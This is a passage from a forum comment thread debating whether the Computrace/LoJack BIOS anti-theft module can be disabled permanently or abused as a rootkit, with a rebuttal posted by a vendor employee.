    This BIOS 'switch' - how exactly is that flipped? CMOS is not permanent, NVRAM is not permanent, RAM is not permanent. The only permanent storage are removable devices such as hard drives, and the BIOS itself. The BIOS is usually protected physically (jumper) and isn't a 'volatile' storage means anyways. Also, from my understanding, this isn't something that can be reprogrammed on the fly - it has to be done in "real mode" and is done on a block level, rather than bit level (just like programming any other chip).

    I just either lack the magic clue that tells me how this is possible, or this isn't possible at all.

    --
    For large sets, this will be our guide even unto death, for the LORD will work for each type of data it is applied to...
  78. Re:How would the malicious code initially installe by camg188 · · Score: 2, Informative
    From one of the links in the article:

    While an attacker would have to already have compromised a system to insert malicious code into the BIOS, the attack prevents a defender from easily deleting an attacker's program or rootkit, the researchers said. "You can remove the hard drive, trash it, and even reinstall the operating system," Sacco said. "This will still reinstall the rootkit."
    ...
    BIOS attacks can be prevented by using the jumpers on many motherboards to block writing to the chips that store the system's instructions. In addition, some hardware security technologies, such as the Trusted Computing platform, could be used to check the integrity of the BIOS, preventing changes.

  79. Re:60%? Really? by adolf · · Score: 2, Insightful

    You're not missing any clues; it's just impossible.

    My Dell Inspiron 6000's last BIOS update (several years ago) came with some Computrace back-end stuff, with the aforementioned options for on, off, and disable. On and disable are both "permanent" options.

    Which is really interesting, if you follow the timeline: The feature wasn't wasn't there at all to begin with. And then, I flashed it in. And now, it says its permanent. Uh - yeah, right.

    If I set it to "on" or "disable", it'll just flip a bit somewhere, and/or do some magic crypto, and flash that result into a region of BIOS.

    But, it's still all just flash. It can still be erased, and then it can be rewritten. The BIOS might not support doing this on its own (for reasons which might range from management to marketing), but that doesn't mean that it's something that cannot be accomplished with other tools.

  80. Re:60%? Really? by Anonymous Coward · · Score: 0

    So if this is on the bios and works with an installed program on the machine, isn't it feasible to pull the HDD and replace it?

    As for the bios, like was said, it may get ugly.

    If it's active, there is probably some way to shut it off...

  81. so thats what this is.... by gintoki · · Score: 1

    I got my dell about 8 months back. The sound didn't work at first and i went to the bios and saw some option that allows for the laptop to be tracked. I guess this is it. Is the laptop still vulnerable even if this feature is turned off? Mine came with it turned off as default. Maybe you gotta pay extra for it, i dunno.

  82. Re:What's with all the extra "features" no one wan by Fujisawa+Sensei · · Score: 1

    Including Windows means the laptop is not clean.

    --
    If someone is passing you on the right, you are an asshole for driving in the wrong lane.
  83. Re:Problem solved by Anonymous Coward · · Score: 0

    So you're here for a date then?

  84. WORM memory? by phorm · · Score: 1

    Perhaps they have some form of WORM memory? However, given the example of a machine that never had the feature until a BIOS update, I'm guessing it's just tucked away somewhere in the regular BIOS memory.

  85. Re:60%? Really? by jimicus · · Score: 2, Insightful

    And then, I flashed it in. And now, it says its permanent. Uh - yeah, right.

    If I set it to "on" or "disable", it'll just flip a bit somewhere, and/or do some magic crypto, and flash that result into a region of BIOS.

    Of course you could disable it. But that's not the point.

    There seems to be a prevalent view on /. that because a security system can be disabled, it always will be and is therefore pointless. But anyone who's got enough knowledge to know about the existence of this is probably not a junkie that steals laptops left alone for a minute on the train. And that's what the great majority of petty theft is.

  86. Re:Problem solved by Sl4shd0t0rg · · Score: 0

    Well no shit there. I think what everyone is trying to say and yet the mods choose to ignore is "yes Virginia, Mac hardware are for the most part immune from this because:

    They use EFI
    EFI is not supported and the Mac version runs from the HD and can easily removed
    Macs are not listed as a partner on the site.

  87. Re:60%? Really? by couchslug · · Score: 1

    "Of course, I wonder what happens if I buy an "off lease" laptop, that was at one point activated..."

    Don't run Windows, excepting virtual instances.

    --
    "This post is an artistic work of fiction and falsehood. Only a fool would take anything posted here as fact."
  88. Just like Daemon tools in way, BUT... by Anonymous Coward · · Score: 0

    Yup, just like Daemon tools (or at least the part that does the actual emulation) is very rootkit-like technically, as long as it does what the user wants it isn't a rootkit. Although it must be said that if the software (due to a bug or something) ends up in a state where it doesn't do what the legitimate user wants and doesn't allow him to remove it, it can become a rootkit and that is something that software developers should try to avoid. Perhaps splitting the software in two parts, one that can only remove the software under proper authentication and the other to do the actual work that is designed in such a way that whatever happens to it it can never overwrite the first part, would help.

  89. Re:60%? Really? by BitterOak · · Score: 1

    Go into the BIOS setup, you can choose to activate the feature if you paid for the license, or deactivate a previously activated agent. Choosing disable removes the feature completely. it can NEVER come back. TFA is hype. If it is never enabled in the bios NOTHING is installed on windows.

    So, if I want to steal a laptop and I'm afraid of this Lojack thing, all I have to do is simply disable it in the BIOS and the laptop will never phone home? Doesn't this kind of defeat the purpose of Lojack in the first place?

    --
    If I can be modded down for being a troll, can I be modded up for being an orc, or a balrog?
  90. Re:No,not sony for once, here is a list by Vu1turEMaN · · Score: 1

    The title is VERY MISLEADING.

    I've got a few Dell laptops that are friggin ancient in my book (aka single core) and they have computrace settings in the bios.

    Get into your bios and disable it, if you have no intention of using it.

  91. Re:60%? Really? by aurelianito · · Score: 1

    Sos groso, sabelo.

  92. A fuse by Anonymous Coward · · Score: 0

    I imagine it's a fuse/bit. You have to be able to prevent the laptopknapper from disabling or flashing your BIOS in order for it to be an effective security measure.

  93. Re:Problem solved by somenickname · · Score: 1

    Actually, if you decompile the DSDT of many machines you will see that they do indeed detect what OS is running and act accordingly. This is the cause of a lot Linux problems because BIOS vendors will special case something for, say, XP that isn't needed in Vista but is needed in Linux. As the machine has been identified as running Linux and not XP, that special code isn't run. The Linux kernel even has boot options to allow you to identify to the BIOS that you are running a different OS for this very reason.

  94. BIOS Output When Computrace is Deactivated by rhinokitty · · Score: 1

    Computrace (R)
    Disable - Deactivate - Activate

    This field lets you Activate or Disable the BIOS module interface of the optional Computrace (R) Service from Absolute(R) Software. The Computrace agent from Absolute Software is a service solution designed to help track assets and provide recovery services in the event the notebook is lost of stolen. The Computrace agent communicates with the Absolute Software Monitoring Server at programmed intervals to provide the tracking service. By activating the service, you consent to the transmission of information from and to your computer and the Absolute Software Monitoring Server. The Computrace service is purchased as a separate option and the monitoring Server will enable its agent security module through an interface provided by the BIOS. The Computrace tracking agent can only be used in the US, UK, Canada and Australia. Computrace(R) and Absolute(R) are registered trademarks of Absolute Software Corporation.

    Disable = Permanently block the Computrace module interface.
    Deactivate = Block the Computrace module interface (Default).
    Activate = Permit the Computrace module interface.

    The Absolute Anti-Theft solution is Disabled. You cannot change the setting.

  95. how to kill under linux by Anonymous Coward · · Score: 0

    # tpm module killall: blacklist tpm_infineon blacklist tpm blacklist tpm_bios

                                               

  96. ROFL by Anonymous Coward · · Score: 0

    It loads up to communicate using the tpm i should know i just spent mths trying to find why my box was bouncing packets of a particular ip .. so under linux you just blacklist the 3 tpm modules .....

  97. ROFL by Anonymous Coward · · Score: 0

    so you think it all takes place at bios level?? thats bs

  98. Mod parent up. This is very bad. by Animats · · Score: 3, Insightful

    This is a very bad thing. A "security" product should not allow downloading of software. This is even worse. It allows hidden downloading of software not visible to the user.

    Supposedly it's delivered "turned off"? But how do you know it's turned off at startup? How do you know it wasn't turned on during operating system loading, or wasn't turned on by any of the preloaded crap that the "major PC manufacturers" preload? How do you know there isn't some way to turn it on remotely?

    No computer with this software in ROM should be used for proprietary material, legal documents, medical records regulated by the HIPPA, financial records regulated by the SEC, or anything else that might attract an opponent. If you just play WoW, go ahead.

  99. Re:60%? Really? by FrankieBaby1986 · · Score: 1

    Ever hear of a fusible link? It's conceivable that a small fuse is blown upon activation, and then the connection that fuse made is tested to see if it should be active. Write-Once, Read-Many (WORM) memory.

    --
    ERROR: SIG NOT FOUND (A)bort, (R)etry, (F)ail?:
  100. Re:60%? Really? by X0563511 · · Score: 1

    Well, I did - but I didn't apply it to BIOS. (I only know of them in the context of microcontrollers)

    --
    For large sets, this will be our guide even unto death, for the LORD will work for each type of data it is applied to...
  101. Re:60%? Really? by adolf · · Score: 2, Informative

    No, I don't think I can disable it. I can only issue an instruction to a computer which is described as disabling the function permanently, but that doesn't exactly mean anything important.

    Here's the scenario:

    I "disable" it, the appropriate bits are written into the flash ROM on the motherboard, and it appears to be disabled.

    Later, something else comes along, and writes different bits into the flash ROM. And then it's not disabled anymore.

    (And, whatever the case, the default is "off," which should at least forestall any white hat usage of the thing without user intervention. Emphasis on "should" and "white hat". It's Really Fucking Important to maintain a certain level of mistrust when it comes to considering such matters.)

    And, whatever the case: I don't think it even matters at that point. The thing still needs some software support in order to work, and the package which includes that software can fairly easily modify the BIOS to include whatever small bit of code the programmer decides should be there.

    There's well-documented, reliable, and easy methods for inserting your own code into BIOS to initialize a SCSI card, perform a network boot, or change the Energy Star logo, and there's no reason at all why these same methods cannot be used purposes other than those I just listed -- including, of course, quietly inserting malicious backdoors.

  102. Re:60%? Really? by adolf · · Score: 1

    Ok, so: Blow the fuse upon either activating or disabling it.

    And then, something else comes along and changes the code that looks for the status of that fuse.

    Ever hear of a video game crack? This sounds trivial, by comparison.

  103. my vaio's 10 years old by Anonymous Coward · · Score: 0

    So, bottom line - I don't imagine people owning Vaios long enough for them to be too problematic. They'll be in the shop being repaired every six months!

    My vaio desktop is 10 years old; A solid computer and still used regularly. Did the VAIO brand go to shit while I was under a rock?

    1. Re:my vaio's 10 years old by Anonymous Coward · · Score: 0

      I can not empirically answer your question; however, I'm taking the time and money to find out. The two I've owned were abysmal failures in the long run. 1 lasted a total of 1 year. (broke every six months) The last one broke every six months. After the last failure (the video board) I gave up on it.

      The other LT's I've owned haven't experienced these kinds of problems.

  104. Re:What's with all the extra "features" no one wan by rdebath · · Score: 1

    TCM has roots in a paper called "Programming Satan's computer" the first paragraph of the conclusion is this ...

    We have tried to give an accessible introduction to the complex and fascinating
    world of cryptographic protocols. Trying to program a computer which is under
    the control of an intelligent and malicious opponent is one of the most challenging
    tasks in computer science, and even programs of a few lines have turned out to
    contain errors which were not discovered for over a decade.

    The second sentence tells you what TPM is for; hint: it's not for you.

  105. Re:Problem solved by indi0144 · · Score: 1

    They don't complaint because they suicide.

    <quote>
    Foxconn just increased the compensation for their worker that killed himself as a result of possible beatings and interrogations over a lost iPhone.

    The family now gets $52,600 (up from $44,000) as well as $4,385 every year as long as one of the parents are alive. The Foxconn official that leaked this information to the press spoke anonymously since he wasn't a qualified press-relations employee. [Yahoo]
    </quote>

    http://gizmodo.com/5324967/foxconn-increases-compensation-for-iphone-suicide-employees-family

    lrn2macfag

  106. Re:60%? Really? by cachimaster · · Score: 2, Informative

    Please read the paper. The configuration is saved in NVRAM and there are many ways to reverse it. We even found a software-only way.

    Never say never.

  107. Absolute refrutes Computrace BIOS vulnerability by AshleyFromAbsolute · · Score: 1

    I work for Absolute Software. Absolute reviewed the research paper, and the claims that there's a vulnerability in Computrace or Computrace LoJack for Laptops BIOS module are without merit and systems are secure:
    - The Computrace BIOS module does not allow a special undetected path into the operating system. It is not a rootkit.
    - In order for the Computrace BIOS module to work, it is activated by the end-user customer, not the computer manufacturer, upon receipt of the computer and activation of Absolute Software's products.
    - The Computrace BIOS code alleged in the article to have this vulnerability is old code that was not officially released into a BIOS and, to Absolute's knowledge, has never been active in the BIOS of any computer.
    - If a malicious attacker were able to alter the BIOS code, any popular anti-virus software would alert the customer.
    - The Computrace BIOS module currently on the market is not susceptible to the risks claimed in the article and therefore none of our customers are at risk for this specific type of attack.
    Absolute has issued a statement to the public, refuting these claims and explaining their position at length here: http://www.absolute.com/company/pressroom/news/2009/07/refutes_claim

  108. yonderboi by Anonymous Coward · · Score: 0

    Absolute refutes the claims of BIOS vulnerability:
    http://www.absolute.com/company/pressroom/news/2009/07/refutes_claim

  109. Where did 60% come from? by Anonymous Coward · · Score: 0

    I have 4 laptops (2 Dell, 1 Compaq, 1 HP). They've been purchased at various times over the last 6 years, and not one of them has the option to enable this. The Dells are model M50 and M70 (business laptops), the HP is an 8530w (also a business laptop), and the Compaq is some random shitty home model I can't recall right now. Not one of them has an option to enable or disable this in the bios, and the older Dell and Compaq don't even have a TPM module. 60% just seems like a bullshit number to me. Maybe they meant 6%?

    (yes I know anecdotal != fact)

  110. Re:60%? Really? by cachimaster · · Score: 1

    Google is your friend,

    http://www.absolute.com/company/pressroom/news/2009/06/Absolute-Acer-IntelAT

    Acer also have computrace, in fact it has the newer version, probably more secure. In fact, some Sony models also have it. Look for "ABSOLUTE" in a dmidecode dump. I think that most Netbooks don't have it, bot we don't have every notebook model to check.

    Is disabled, yes. How do you know that? did you read the source? it's closed. If you want to have software that can remotely erase or read your data in your notebook, is up to you to trust Intel or Absolute.

    Disabling it in the BIOS don't work.

    Don't miss interpret us, they have a useful product. But it must be a little more secure, and *optional*.

  111. Re:60%? Really? by SydShamino · · Score: 1

    All those MS commercials mention the computer brands by name, and all of those brands include this.

    If Microsoft is going to bundle their OEMs' brand names into their ads, they have to accept that the mistakes of those OEMs reflect on their advertisements.

    --
    It doesn't hurt to be nice.